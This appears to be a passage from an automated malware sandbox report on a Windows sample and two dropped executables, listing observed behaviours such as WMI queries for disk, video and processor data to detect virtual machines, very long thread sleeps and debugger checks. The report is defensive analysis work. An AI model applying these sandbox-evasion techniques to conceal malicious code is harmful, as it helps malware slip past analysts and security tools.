Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Memory allocated: 12E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Memory allocated: 4BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Memory allocated: BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Memory allocated: 1A6F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Window / User API: threadDelayed 3751	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Window / User API: threadDelayed 5426	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Window / User API: threadDelayed 473	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Window / User API: threadDelayed 9360	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5069
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4757
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7557
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2006

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_0-19130
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_0-21574

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe TID: 7680	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe TID: 6936	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe TID: 6792	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe TID: 8152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep count: 7557 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep count: 2006 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -3689348814741908s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00409396 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_00409396
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0040DD0E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_0040DD0E

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: wjoqZlIS.exe, 00000002.00000002.1813715305.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz
Source: YsrQekGS.exe, 00000004.00000002.2937204022.000000001B7D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_0041E48E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041E48E

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

0_2_004254C5

